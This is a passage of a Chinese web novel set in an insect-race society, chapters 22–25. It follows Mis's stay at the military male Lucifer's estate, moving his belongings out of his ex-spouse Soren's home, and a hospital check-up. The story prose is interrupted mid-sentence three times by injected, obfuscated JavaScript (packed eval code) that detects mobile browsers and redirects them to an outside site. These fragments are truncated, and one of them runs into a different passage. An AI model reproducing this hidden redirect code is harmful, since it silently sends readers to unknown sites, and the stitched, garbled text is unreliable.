这只虫是怎么回事啊,不知道自己虫高马大的,像座山一样挡视线吗? 路西法突然停住, “弥斯,这是……” 弥斯一直在心里想事情,没注意到前面突然停了,一下子就磕在了雌虫的背上。 娇嫩的额头瞬间撞得通红,眼泪都被逼出了一点,弥斯真的是气得牙根疼,虫族到底是对雄虫的身体做了什么! 简直是不顾雄虫的死活。 好疼啊。 弥斯捂住额头,他真的不想这么娇弱的,真的是体质的原因! 路西法也顾不上介绍健身房了,急忙低头察看雄虫的情况。 “很痛吗?” “对不起,我应该说一声再停下来的。” 路西法见雄虫捂住额头不说话,还以为是撞出问题了,赶紧把虫抱进健身房,这里面有紧急医药箱。 他记得好像抽屉里是有止痛的药膏的。 弥斯这下彻底抬不起头了,本来只是痛,现在又有了一项,丢虫。 找到了! 路西法跪在地上,慢慢拂开雄虫的手,掀开脑袋上的凌乱的卷发,红了! 这一刻,路西法才对雄虫的脆弱有了实感。 他拧开盖子,小心翼翼地涂在雄虫的额头上,“忍一忍。” 弥斯这时候已经缓过来了,没有一开始那么痛了。 太近了,路西法现在离他真的太近了。 因为担心,雌虫的呼吸十分粗重,一下一下的打在他的脸上,烫的脸上的温度都升高了一点。 路西法的嘴巴生得很好看,薄唇看起来就是不太好接近,可虫又如此体贴,真是反差极大。 雄雌有别,弥斯不好意思盯着看,眼眸微微垂下,一道深沟映入眼帘。 这下完了,太冒犯了。 弥斯绝望地闭上了眼睛,他真不是流氓,真的,天地良心,真的是不小心。 路西法等了一会儿,他自己几乎是不会用这个药膏,太麻烦了,S级军雌的自愈能力非常强,要是伤到哪了,等它自己好就行。 过了不一会儿,雄虫额头上的红就慢慢淡去了。 路西法这才和雄虫拉开了点距离,心疼地问:“还疼吗?” 弥斯抬手摸了摸,咦,“还真不疼了。” “这个和你上次给我的那罐是一样的吗?” 这东西也没个牌子,都是小白罐,还真是看不出区别。 “差不多。” 路西法这才起身,“这是健身房,刚刚就是想带你看看这个,感觉你会很喜欢。” 这罐和之前给雄虫的那罐唯一的区别就是,送给雄虫的那罐加了点美容养颜的功效,更受高等级雄虫的喜爱。 弥斯的目光还在那个小白罐身上,“这个药膏见效好快啊,你在哪买的,我也想囤一点。” 他现在最怕的就是受伤了,路西法给他的小白罐只有一个,他没有在星网上找到链接,所以总是舍不得用。 买它个四五罐备着,肯定就不会舍不得了。 22. 第 22 章 路西法拿着小白罐的手微微缩紧,大脑急速运转,这瓶小白罐的价格大概是10万星币,给雄虫的那种更贵一点。 要是和雄虫说了价格,肯定又推脱着不愿意收,最终路西法想到了一个合适的说法。 “这是用只有某个小星球上才有的异兽的獠牙做得,虽然不贵,但是星网上没有卖的。” “只在那个小星球上卖,下次出征的时候,顺便帮你买一些。” “先不管这个了,我带你看看器械。” 弥斯的兴致来的快,消失的也快,听到星网上买不到,就没了兴趣。 “嗯。” 路西法把小白罐转进雄虫口袋,“家里还有几罐呢,你拿着放心用。” 弥斯有些羞涩,“谢谢,我不能一直拿你的东西。” “这样吧,中午我来做饭吧,你肯定会喜欢的。” 路西法没有反驳,虽然不想让雄虫累着,但他真的很想吃雄虫亲手做得饭。 “那就辛苦弥斯阁下了。” 弥斯站起身,有些好奇的问:“路西法,你最近怎么总是阁下、阁下的喊我,听起来好生疏啊。” 雄虫的关注点真的挺奇怪的,路西法被他可爱到了,见雄虫的衣角有些凌乱,顺手帮他整理了一下。 边整理边说:“小弥斯为什么一直称呼那只虫少将呢?” 弥斯下意识地解释,“喊名字听起来太生疏了,少将听起来亲近一点。” 路西法听到这个回答,手上一下子没控制住力道,“刺啦”一声,衣角在他的两只手中间碎了。 弥斯震惊,低着头看着自己的衣服,碎了,就这么碎了! “路西法,这是我最喜欢的一套!” 弥斯的第一反应是有一点生气,但想着路西法也不是故意的,气又消了下去。 路西法也吓了一跳,雄虫对那只虫的下意识亲近刺激到他,一不小心就没控制住力道。 听雄虫这么说,他心里更愧疚了。 这下糟了,雄虫肯定很难过,这该怎么哄。 最喜欢的一套,那他不管再给雄虫买多少套衣服,想来都弥补不了这件衣服的损失。 弥斯心疼的拽了拽他的衣角,今天心情好才穿上的,一下子就被路西法撕了,真是太过分了。 弥斯愤愤地说:“也就是你是我最好的朋友,不然我肯定会生气的。” “你刚刚怎么了,怎么突然用了这么大力气,衣服都被你撕烂了。” “有什么不开心的事吗?” 路西法听到雄虫的担心更内疚了,是他心怀不轨,所以才会因为雄虫的一句话就失控。 他甚至还没来得及做什么补救的措施,弥斯就原谅他了。 好乖。 “对不起,我刚刚走神了。” “你很喜欢这套衣服吗,要不我再给你买一套一样的,找虫重新做一套也行。” “你不要难过,”也不要讨厌我。 路西法捏着手里的碎布,真的有些束手无策,他其实不太会安慰虫,也没什么在意的东西,无法理解雄虫现在的心情。 想来是和他看到雄虫受伤时的心情差不多。 “没事,这都是小事情。” “这件衣服本身没什么特殊的,就是我在第一次参见萨达卡尔学院的颁奖典礼时,穿得就是这件衬衣。” “其实它现在有些不合身了,我一直没舍得丢,现在也算是正好,今天穿过之后就丢了吧。” 弥斯没说的是,这件衬衣是索伦少将送他的礼物,也就送过这一次,所以他挺珍惜的,没想到会坏在路西法的手里。 确实也不合身了,当时刚穿进来不到一年,而且还在生病,真是一点肉都没有,现在就好很多了。 “不合身了为什么要穿?” 说出去路西法就觉得有些冒犯,他急忙改口,“我给你买新的。” 弥斯拍了拍衣角,没把这件小事放在心上,环顾四周,“哇,路西法,你家里的健身房也好大啊!” “嗯。” 路西法给雄虫一一介绍了房内器械的使用,大多时候他都会去亲自示范一下。 绷紧的肌肉线条,一颗颗汗珠顺着滚落,随着示范的深入,呼吸也变得粗重,胸膛随着节奏上上下下的起伏,弥斯略微有些羡慕,练得真好,他是没希望了。 路西法的视线狠狠勾在雄虫身上,尤其是一些重量训练,他甚至幻视弥斯正坐在他背上、肩膀上、腹部…… 不要再盯着他了,不然真的就藏不住了,雌虫的瞳孔逐渐收缩成一条竖线,他赶紧低下头,弥斯好像很怕这种虫化的状态。 “你经常健身吗,路西法?” 弥斯眼睛亮亮的看着他……手臂上肌肉线条,看着真有劲,羡慕。 路西法是想应下来的,他看出了雄虫很喜欢,只要应下来,雄虫肯定会想和他一起,到时候,就能看到一节雪白的腰腹或者一对笔直修长的腿,说不定还会被勒出些许软.肉…… 但很可惜,这里的大多数器械都是给弥斯买的,从知道雄虫喜欢,他就陆续往家里购置了大量的健身器械。 “没有。” 弥斯有些失望,“那你怎么保持身材的,军雌都像你这样吗?” 他去了军部那么多次,每次都直奔办公室,很少东张西望,见到最多的陌生虫就是卡尼上尉,还真没去过训练场,自然不知道大部分军雌是什么模样。 “也不是。” “可能是因为我经常要去小星球杀一些异兽?” 路西法给出了一个合理的解释,异兽听起来就很正派,如果说杀虫就有点变态了,他还是在心里衡量了一番的。 弥斯沉思片刻,想了一下自己的武力值,好吧,并不适合去前线。 “走吧,带你去雕刻室看看,要是有哪里不满意,我再改改。” 雕刻室就在健身房旁边,本来还担心雄虫不满意,没想到太满意也不是一件很开心的事。 弥斯一进去就被房间里的干净程度震惊了,不管是宿舍还是原来的家里,放东西的地方都有点小,所以很多东西都叠在了一起,看起来总是有些杂乱。 但现在,也不知道路西法在哪买的收纳盒,连小工具都有它自己待得地方。 上上下下、左左右右,一寸寸地把这个房间打量了一遍,非常满意,房间好大哦,比他一整个宿舍都大。 被花花世界迷了眼的雄虫甚至都忘了思考,只住一个月需要费这么大力气整出一间雕刻室吗,以及路西法是怎么知道他做工时的一些习惯,将工具都放的恰到好处。 糖衣炮弹虽可耻,但真的好用,路西法这才轻咳一声,“弥斯,该吃饭了。” 时间怎么过得这么快,他不就转了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628006|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一圈吗,怎么就中午了。 弥斯跟在雌虫身后,偷偷看了一眼光脑,真12点了! “对不起,都说好今天中午我做饭的。” 路西法没想到他还记得,听到充满歉意的声音,忙开口安慰。 “是我没提醒你,怎么样,还喜欢吗?” “非常喜欢。” 弥斯往前走了两步,捏了捏袖口,犹豫再三还是停了下来,他转头看向路西法,“会不会太麻烦了?” “就当作你送我项链的谢礼,不用在意。” 这怎么能一样呢,弥斯想说些什么,但是他知道现在的自己什么都给不了。 下午,本来是无所事事的一天,但路西法非要带着他在庄园里转转,左右也无事,弥斯就转了转。 越看越喜欢,尤其是看到还有一个小菜园的时候,弥斯对庄园的占有欲达到了顶峰,等他暴富了,也要买一个。 “你平时还会自己种菜?” 雄虫一脸惊喜地钻进菜园,白嫩的手指慢悠悠扫过绿叶、枝干还有果实,尤其是看到一些不认识的菜时,眼睛里闪烁着兴奋。 “偶尔会来看看。” “以前菜园是有专虫打理的,但是家里面的虫都被我遣散了,机器虫总有照顾不到的地方,估计很快就荒废了。” 路西法看起来颇为遗憾,虽然他根本没在意过这里,只来过一次,就连小菜园也是上一任主虫留下来的,但不妨碍他现在把小菜园当作很喜爱的东西。 “那太可惜了。” 弥斯的种地基因觉醒了,他看着这么大一片,而且规划整齐的菜园,完全不忍心让他荒废。 “我可以帮你种的。” 弥斯猛地转过身,怕路西法不信任他,“我会写一些简单的程序,等我写好导入到机器虫的程序里,可以帮忙监测、浇水什么的。” 路西法特意迟疑了一下,“会不会太辛苦了,其实荒废了也没什么,明年估计就长满杂草了。” “那多可惜啊,你想想,以后做饭的时候,可以来小菜园薅点小青菜、茄子、番茄的,而且你看边边上也可以种点葡萄。” “是不是很好?” 弥斯真的不擅长说服虫,他只能尽可能地哄骗雌虫把小菜园交给他。 “嗯……听起来确实不错。” “是吧是吧,交给我吧,我一定会用心的。” 路西法这才勉强点点头。 本来还以为雄虫会对那些花花草草感兴趣,没想到这个他从不关心的菜园给了他一个惊喜。 弥斯太开心了,摸摸这个又摸摸那个,时不时还转头和路西法科普一下,整只虫已经玩得不亦乐乎。 真种地,他肯定是不行的,太累了。但是种点菜,还是在虫族科技发展这么快的条件下,他真的太可以了。 又能享受到种菜的成果,又不会累,完美。 这时候,只需要在庭院里在摆个茶桌和躺椅,简直是完美的退休生活。 回去的路上,弥斯还沉浸在小菜园的兴奋中,余光不经意地扫到旁边的绿植上,嗯? “等一下,路西法。” 弥斯伸手随意拽了一下雌虫的衣袖,不经意间,指节微微擦过雌虫的掌心,可雄虫对此一无所知。 路西法微微攥了一下手指,指尖在刚刚被雄虫指尖擦过的那处摩挲,“怎么了?” 23. 第 23 章 “怎么了,绿钩有什么特殊吗?” 路西法也学着雄虫的模样蹲下,看着眼前平平无奇的绿色草植,没觉得有什么值得雄虫特别注意的。 “当然!” 这可是青辣椒啊,弥斯一直以为虫族没有辣椒,他当时也好奇了,花椒都有卖的,怎么就独独不见卖辣椒的,原来是当成绿植了。 虫族还真是不太在意口腹之欲,怪不得会研究营养液这种难以入口的东西。 “这个可以用来炒菜的,超级香,特别好吃!” 弥斯小心翼翼地把辣椒摘下来,这可要好好珍惜,这边也就这么几棵,别搞坏了。 “你喜欢这个?好像还有变异的红钩、黄钩,你要是喜欢,可以在家里种点。” 路西法没听说过这东西还能吃,但是雄虫既然这么说肯定有他的道理,大不了等雄虫真用它做饭的时候,他先尝尝看看有没有毒。 “你这个称呼真的好别扭啊,它叫辣椒。” 弥斯听这个什么钩、那个什么钩的简直是浑身刺挠。 “嗯,听你的。” 弥斯带着自己采摘的战利品重新坐到了飞行座椅上,他现在开始无比期待晚上的饭菜。 “你知道吗,辣椒可以……” 路西法刚开始还认真地听雄虫讲这个什么辣椒,后面,他的视线就慢慢移到雄虫不断开合的嘴唇。 如果飞行座椅能稍微颠簸一下,他就能假装不经意地贴上去,然后掐住雄虫的腰,趁他惊讶的时候,把舌头钻进雄虫的嘴里…… “路西法,你有在认真听我说话吗?” 雌虫表面上没有任何问题,可,弥斯抬眸看了一眼他金色的瞳孔,总觉得被盯上了,应该是错觉吧。 “我听了,辣椒确实是个好东西,很期待你用它做些什么。” 弥斯一听,又开始乐此不疲地给他介绍,他这几天真的太兴奋了,正好身边有虫有耐心听他说些有的没的。 等弥斯把做好的饭菜端出来,虽然已经许久没吃过这么纯正的中餐了,但他还是按耐住了兴奋,眼巴巴地看着雌虫。 “你尝尝好不好吃。” 这可是第一口,弥斯决定大方地让给他了,毕竟他是蓝星来的,吃惯了好吃的。 路西法心想:肯定好吃,就冲这个饭菜是雄虫做得,它就已经是赫克斯最好吃的菜了。 弥斯全神贯注地盯着雄虫讲筷子缓缓伸进辣椒炒肉上,然后夹起来放进嘴里,所有的动作都自动在他眼里放慢了。 路西法细细品味了一下,他不想敷衍雄虫,哪怕入口有些奇怪的感觉,但却是别有一番风味。 “比平时做得有味道一些,吃起来没有那么寡淡,很不错。” 就是有些吃不惯,感觉整个舌头火辣辣的痛,雄虫真的能吃这种东西吗? 没等路西法想明白,弥斯就已经开吃了。 “好辣,好辣!” 弥斯往嘴巴里扇风,四处张望有没有水,眼前突然出现了一杯果汁,他想都不想的接过来喝了。 “好吃!” 弥斯一边猛猛灌水,一边享受许久没能吃到的家常菜,太爽了。 就是为什么青椒也变得这么辣了,还是说是因为体质的原因,他看路西法就没事。 “路西法,你吃的时候没感觉吗?就是有点麻麻的、或者痛,就是舌头不太舒服。” 路西法挑了一下眉,“是有一点痛,我还以为是不小心伤到了。” 弥斯一听就非常担心,路西法不会是吃不惯吧,异世界的虫能吃辣椒吗?这是一个好问题。 “你张开嘴我看看。” 弥斯从凳子上站起来,探出身子,凑近雌虫,路西法配合的张开嘴巴。 有些看不清,弥斯用光脑开了个灯,拿筷子压在雌虫的舌头上,有点红,但感觉和他的舌头颜色差不多,应该没什么事。 又诱惑他…… “不严重,喝点水就好了。” 弥斯放心地坐回去,继续开始斯哈斯哈的享受美食,太香了,他真是只天才虫。 …… 弥斯吃完饭就趴在阳台的栏杆上,眺望着远处亮着灯的小菜园,放空大脑。 路西法凑了过来,“在想什么?” “我是不是应该把我的东西搬出来啊,好纠结。” 弥斯没有扭头,庄园里就他们两只虫。 索伦少将的家里还有他的衣服和雕刻品,那是属于他的。 “你想去吗?” “有点,我还有一点衣服和项链什么的,我想拿回来。” 弥斯现在对索伦少将的信任度实在是不高,他怕自己的东西出现在别虫身上,那会让他很膈应。 但他们都离婚了,蓝星上有句话,分手之后应该像死了一样,离婚的话,肯定更应该保持距离。 好在,路西法帮他做了决定,“那就去拿。” “好尴尬啊,我是不是还要和索伦少将发消息请他回家啊,不然我就是擅闯虫宅。” 这也是弥斯纠结的事情之一,他有点怕和索伦少将单独见面,那会让他变得不那么像他。 “我陪着你,不要怕。” 路西法总算是伸手揉了揉雄虫的小卷毛,“要是弥斯觉得不舒服,我就带你回来。” “好吧,谢谢你,路西法。” 弥斯编辑了一段文字,他写得有些多,详细地介绍了他搬家的原因,希望得知索伦少将什么时候有空闲,并表达了感谢。 路西法看着他写的,顺便窥见了一些雄虫和那只虫的聊天记录,和他想象的浓情蜜意不同,两只虫之间的联系少得可怜,光看记录,完全想不到他们曾经是那么亲密的关系。 路西法心情很好地说:“弥斯,你和他不经常聊天吗?” “少将很忙,平时没时间看光脑,所以我们不经常聊天。” 弥斯还在纠结措辞,根本无暇顾及身边虫,完全没意识到光屏被看光了,甚至还把光屏递到路西法的面前, “我这样写,可以吗?” “可以的,这有什么好纠结的。” 雄虫的信赖让路西法很受用,这也是他到现在都能坚持不逼迫雄虫的原因。 弥斯有些不好意思的挠挠头,“你不知道,星网上传过一些对他不太好的消息,虽然我解释了,但是好像没有虫信,感觉他可能不太想看到我。” 雄虫不自觉地咬住下唇,看起来十分内疚,路西法伸手戳了一下他脸颊上的小酒窝。 弥斯茫然地抬头看他,不懂为啥突然戳他。 “怎么了?” “咳咳,”路西法摸了摸鼻尖,暗暗拉踩道:“他不是特别忙吗,哪有时间看星网。” “可,他同事应该也会看到,”巴尔福肯定会知道的,想到这,弥斯攥紧了拳头,指甲深深掐进了掌心。 路西法不动声色地拉住雄虫的手,温柔但不失强硬地掰开他的手,轻轻地揉搓着被掐红的掌心, “他不是少将吗,这点事都处理不好,帝国养他是吃干饭的吗?” “不用担心,这是他的事,和你没关系。” “下次不要伤害自己了,不疼吗?” 弥斯低着头,没有说话,雌虫一点点给他揉着,动作里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628007|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流露出的疼惜,哪怕他再不想承认,都无法忽视。 可,弥斯闭上眼睛,深呼吸,路西法什么都不知道,不知道他的虚伪、他的利用,所以才会这样温柔地安慰他。 “嗯。” 弥斯低声应了,将编辑好的消息发了出去。 他太自私了,路西法对他太好了,他真的舍不得。 要是被路西法知道,他的乖巧都是装的,肯定就不会对他这么好了,没有人会喜欢他这种人的。 但他太了解什么样的人更招人喜欢了,他很能装的。 …… 索伦收到消息的时候,确实在军部工作,但可能是因为上次被主虫教训过,这次竟然第一时间就看到了消息。 见是弥斯发过来的,他微微坐直了身体,肯定是来道歉的吧,或者想让他妥协做个雌奴,雄主离不开他的,他一直知道。 索伦气定神闲地打开光脑,果然是一大段文字, 雄主:【索伦少将,你好,冒昧打扰,事发突然,我的许多东西都没搬出来……不知你何时有空闲……】 搬东西?他可不相信弥斯只是因为这个,毕竟雄主放在家里的东西加起来都没有10万星币吧,根本不值得特意跑一趟。 索伦整理了一下袖口和领带,刻意拖了一点时间,不能让弥斯以为他好像在特意等消息一样。 少将:【可以,下午吧,我在忙】 路西法看到备注又开始吃味了,他状似不经意地问:“少将?这个备注不错,弥斯给我的备注是什么啊?” 弥斯刚松了一口气,就被问了这么一个送命题,“名,名字,你的名字。” “哦。” “哦?” “看来我和弥斯阁下的关系,还不值得拥有一个更亲密一点的备注,哎,只能继续努力了。” 弥斯拽了拽他的袖子,赶紧解释:“不是,不是这个,就是我习惯直接备注名字了,桑因、蒂安、艾瑞斯,都是这样的,真的,不骗你。” 为了增加可信度,弥斯特意睁大了眼睛,希望路西法能看清他眼中的真诚。 “哦,弥斯阁下不是说过,我是你最好的朋友吗,哎,看来阁下最好的朋友也挺多的。” 路西法慢悠悠地低下头,让虫看不清表情,但又能感受到他的失落。 “不是这样的,你真是我最好的朋友……” 弥斯急坏了,真没想到路西法会在意这些,可他真的没在意过这些事情。 “要不我现在改一下备注?” “那弥斯打算改成什么?” 弥斯试探性地提了一个,“中将?” “哦,帝国有那么多中将,弥斯怎么知道是我呢?也对,本来我也不特殊。” 弥斯觉得路西法有点茶茶的。 “那,最好的朋友?” “我可没看出来弥斯把我当最好的朋友。” 见雌虫还没有什么反应,弥斯咬咬牙,做出了一个违背钢铁雄虫的决定, “路西法,你不要生气了,好不好?” 雄虫平日里声色就极为干净,现在为了哄生气的雌虫,刻意柔着嗓子,并不自觉地拔高了尾音,像是在勾引虫一样。 路西法的金眸暗了几分。 “好吧。” “我去给你做饭,你在这玩吧。” 路西法逃似的离开了。 弥斯不理解,他有说什么很吓虫的话吗?路西法给他的感觉就像,身后有鬼追他一样…… 所以,闹了半天,备注还是没改,弥斯想了想,还是把备注改了,省的下次路西法看到又不开心。 24. 第 24 章 索伦坐在客厅的沙发上,手里还拿着文件,装作很忙的样子,他不想等雄主突然回家的时候,看到他好像无所事事,显得他好像不值星币一样。 可他已经从12点半坐到了现在,文件一页都没有翻,他无法静下心来处理工作。 他时不时地看一眼光脑上的时间,已经3点了,雄主还没到,是故意的吗? “主虫,有客来访,有客来访!!” 机器虫的大喊大叫让索伦的那一点点担心又落了下来,果然,雄主就是离不开他。 弥斯进来的时候看到就是索伦少将在处理公务,和他曾经看过的无数个画面重合了起来。 索伦少将一如既往的忙碌,他都有些好奇,路西法这只中将怎么有这么多时间。 见雌虫看过来,弥斯点头示意,“打扰了,我很快就收拾好。” 雄虫上楼了,索伦瞬间就坐不住了,怎么回事,这和他想象中的不一样,难不成雄虫离家出走的这几天经历了什么事情,怎么突然这么沉得住气。 索伦在客厅里来来回回的走,不知过了多久,楼上传来了动静,他又坐了回去。 弥斯抱着自己的衣服下来,他的衣服本来就不多,大部分又在学院,所以一个折叠箱就装完了,但是收拾一些零碎的洗漱用品花费了点时间,这才待得久一点。 索伦少将还在处理工作,真忙。 弥斯看了一眼,有些纠结现在的称呼,“索伦少将,我的机器有些重,” 果然,还有求于他,索伦这才抬眼看向雄虫,等他说一些类似于,太麻烦了可以不搬了吗,或者,让他帮忙的话。 “……可以让我的朋友进来帮我搬吗?你放心,我只带走自己的东西。” 索伦少将的眼神好吓虫,可能是因为本来就心中有愧,所以弥斯出奇的心虚。 “不可以也没关系,我自己也能搬……” 索伦本来都打算站起来帮忙了,听到雄虫说这种话,脸色瞬间变得很难看,就好像他在自作多情一样。 “随便你,动静小点。” 弥斯点点头,一步做两步,把衣服先搬出来,然后就带着路西法进来帮忙。 一开始是打算自己搬得,毕竟是别虫的家,贸然打扰已经很失礼了,没有打招呼就带着另一只虫进来实在是不合适。 但是,路西法来之前就说,要是雕刻室的东西很重,就喊他帮忙。 “小点声哦。” 弥斯拽了拽身边雌虫的衣服,凑过去小声地说:“索伦少将在工作。” 路西法对这种亲密行为十分受用,这会让他觉得,雄虫和他很亲近。 S级军雌果然厉害,那么重的机器和工具,一只虫,那么重的东西、那么大的打包箱一下子就搬下去了。 这打包箱果然质量特别好,装那么多机器和工具,一点变形都没有,弥斯在心里感慨。 但要是他自己来绝对不会用这个,箱子太重了,太难为自己了。 “打扰了。” 弥斯临走前又看了一眼索伦少将,工作这么忙还要抽空等他搬家,真是辛苦。说不定还真向路西法说得,他根本不知道星网上的帖子。 这就走了?索伦攥紧了手中的文件,什么都没说,雄主到底是什么意思。 特意带着路西法殿下过来,难不成是欲擒故纵,想借此展现出他很受欢迎,希望自己主动示好? …… 弥斯看着眼前这一堆有些发愁,衣服也就算了,雕刻室的布局现在真的非常完美,要是再把这些塞进去,恐怕就有些多余了。 路西法见雄虫又在咬嘴巴,“想什么呢?嘴巴要咬烂了。” “我在想把东西放哪?家里已经有一套了。” “我没说吗?” “说什么?”弥斯将视线从这一堆东西转移到雌虫的脸上。 “我不是说让你搬到学院对面的公寓里吗?我们把这些东西放公寓,这样你不管住在哪都方便。” 弥斯觉得这个主意很好,然后他就意识到一件事,“公寓?我要搬出去住吗?” 他不是刚来庄园两天吗,怎么就被赶出去了,路西法觉得他麻烦了吗? 路西法见他绷着身子,一下子就猜到雄虫在想什么。 他看了一眼路况,抽出一只手敲在雄虫的脑袋上,“想什么呢?” “你不是还要去学院吗?我们现在住的地方离学院太远了,上学的时候,你可以住在公寓里,就在学院对面。” “哦哦哦,这样啊?” “嘿嘿。”弥斯有些不好意思地笑了,他好像有点矫情,还有点想太多了,不能这样。 “嘿嘿?” “下次不许这么想,我永远不会赶你走的,弥斯。” 路西法觉得弥斯就是太没有安全感了,一只S级的雄虫总是觉得没有虫喜欢他,随便做点什么事情,都会担心会不会给身边的虫带来麻烦。 也不是说不好,只是没必要,弥斯不需要担心这么多。 “哦。” 雄虫轻轻应了一声,也不知道信没信,反正就是挺可爱的。 把东西放到别墅里,路西法就带着虫回家了,他的眉心跳得厉害,总觉得有种不详的预感。 “路西法,你……刚刚那个,你管它叫小公寓吗?” 弥斯想着那个100多平的大平层,有时候当有钱虫的朋友也挺无奈的,比如别虫的终极梦想,在他嘴里竟然是小公寓。 小公寓不应该是一室一厅吗?小公寓最重要的不应该是小吗? “挺小的,怎么了,不喜欢吗?” 路西法转过头,困惑地看着他,很偶尔的时候,他真的跟不上雄虫的思路。 “喜欢。” 弥斯承认他好没出息,大平层他也喜欢。 弥斯很快调节好了心情,兴奋地说,“那我直接住在公寓里就好了,就不用跑来跑去了。” 果然不是什么好消息,路西法还想和雄虫交涉,转过身看向他。 弥斯立刻慌慌张张地把他转过去,“看路,真的太危险了,路西法。” 路西法很配合,顺着雄虫这点可以忽略不计的力气转过身。 “你不想要你的小菜园了吗?弥斯。” “对哦,那还是要回家的。” 弥斯把座椅放倒,躺了上去,“好困,到家了喊我。” 说完没多久就睡着了,路西法摇摇头,搬东西还是太累了,弥斯应该累坏了。 把雄虫抱到房间了,路西法盯着他的嘴巴,颜色有点淡了。 他轻声地试探了一声,“弥斯……”没反应,也对,抱下来都没醒,肯定睡得很沉,亲一下也不会被发现。 路西法继续盯着,不知过了多久,雄虫皱起了眉头,额头也出了一层薄汗,他出门拿了块新毛巾帮忙擦拭了一番,又睡沉了。 …… 不对劲,睡得太沉了。 路西法思索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小事,关心则乱,我懂。” 达利锡故作不在意地摆摆手,其实已经偷偷录像了,哈哈,下次见到近卫队的亚蒂斯就给他放一下,哟哟哟,你找死吗。 反正殿下不会知道的。 “那我可以抽了吗?” 达利锡看了一眼雌虫的脸色,“好的,不可以,我知道了。” “那等雄虫睡醒,你把他带到医院里扫描吧,那不用抽血。” 路西法面色凝重,他是想立刻知道结果的,可现下确实不太可能。 他嫌弃地摆摆头,让达利锡医虫离开。 得,白来一趟,抽血也不给抽,让他来干嘛,达利锡在心里吐槽,但他不敢说,真到了线下,面对路西法这种高等级,精神海有问题的军雌,他还是很老实的。 “路西法向帝国第一医虫,英俊潇洒、气度非凡、医术高超……的达利锡医虫转账10万星币。” 哦吼吼,回家的路上,听到这么一大段精彩绝伦的播报还真是心情愉悦,不枉他斥巨资29.9星币买了个自定义播报的功能,爽! 要不说达利锡最喜欢路西法殿下呢,出手就是阔绰,这不,他啥也没干,就跑了一趟,赚了10万星币,啧啧。 “弥斯,明天带你去一趟医院吧。” 25-30 \第25章 第 25 章 嘭——!!! 一觉醒来, 天怎么都黑了,弥斯虫还迷迷糊糊的,就听到路西法担忧的声音。 “为什么要去医院?” “谁生病了?” 路西法走过去,轻轻揽住雄虫腰身, 快速抽出枕头, 方便雄虫靠躺在床上。 弥斯被他这一套丝滑的小连招打得不知所措, 腰上仿佛都还残留着他手臂传来的炙热,火气真旺。 “现在都11点了, 你睡得太久了, 这不太正常。” 随着雄虫睡觉时间的延长,路西法心中的担忧愈发加深。 弥斯本就有前科, 许许多多的事情都有可能让他晕厥, 工作、俯卧撑、炎热, 亦或者那只虫, 他这平白无故地睡得这么熟, 路西法很难不去联想。 “我真的没事。” 弥斯不知道该怎么解释, 他真没病, 上次晕倒刚做的检查,没必要去浪费时间。 “弥斯,明天请假去看看吧,我不太放心。” “好吧, 但我真的没事, 体检太浪费星币了。” 弥斯还在试图打消路西法的念头, 可看着雌虫满眼的不认同和担忧, 他只能最后负隅顽抗了一下,“我真的没事。” “好吧,我请假。” 反正最近他研究所的工作不多, 请一天也耽搁不了什么的,和路西法这种高精力虫真的说不清。 弥斯每天要睡8个小时,路西法只需要5个,而且看起来比他健康多了,这怎么沟通,真的很难解释清楚。 …… “你看,我真的没生病。” 弥斯十分得意,拿着手里的检测报告拍的哗哗作响。 路西法也拿了一份,除了有一点点的营养不良,报告上还真没什么问题,他有点怀疑自己的直觉了。 “不要得意,小弥斯,虽然没生病,但是,你看看你的指标,有很多项才刚刚及格。” “我瞅瞅,不是都及格了吗,已经很健康了。” 弥斯看完更得意了,这是他指标最好的一次。 “你没有好好吃饭,弥斯,你答应过我要好好吃饭的。” “我真的有吃饭,只是一忙我就忘了,但我早饭都有吃的。” 不知道为什么,路西法的神情明明没有任何变化,可弥斯却感到了几份凉意。 “你不会又生气了吧,路西法,你好容易生气哦。” 路西法觉得有时候真的也挺无奈的,他心里生气,但又没办法对着雄虫生气,好不容易活泼点,要是被吓到又要重新哄,难办。 “弥斯,你……” 弥斯转头看他,黑色眼睛里闪着细碎的亮光,他真的好像在因为这个检查报告开心。 “算了,回家吧。” 路西法侧身护着他,避免雄虫被来来往往的虫碰到。 回去的路上,弥斯还听到有虫在讨论刚刚发生的一件大事。 帝星中心城的城郊发生了一起非常严重的爆炸事故,官方通报是,一小队军雌在追逐星盗的过程中,和另一支星盗意外碰撞,目前的受灾情况尚不明确。 “军雌真的好辛苦,路西法,你一定要照顾好自己。” 弥斯被雌虫护在怀里,连带着抬头看他的神情都变得有些困难。 “嗯,放心,我不会有事。” “路西法,今天医院里的虫怎么这么多啊,是因为那起事故吗?” 弥斯也来过好几次医院了,从来没见过这么多虫,真是奇怪。 “不是,军雌受伤会被送到军区医院。至于这里,应该是高等级贵族雄虫来检查身体。” 弥斯更是不理解了,“检查身体需要这么多只虫吗?” 